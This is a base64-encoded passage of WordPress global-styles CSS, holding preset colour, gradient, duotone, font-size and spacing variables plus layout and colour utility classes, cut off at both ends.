dml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcHJpbWFyeTogIzIyMjUyOTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXNlY29uZGFyeTogI2VlODM3OTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXRlcnRpYXJ5OiAjMmJhYWIxOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcXVhdGVybmFyeTogIzM4M2Y0ODsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWRhcms6ICMyMjI1Mjk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodDogI2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2FybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhh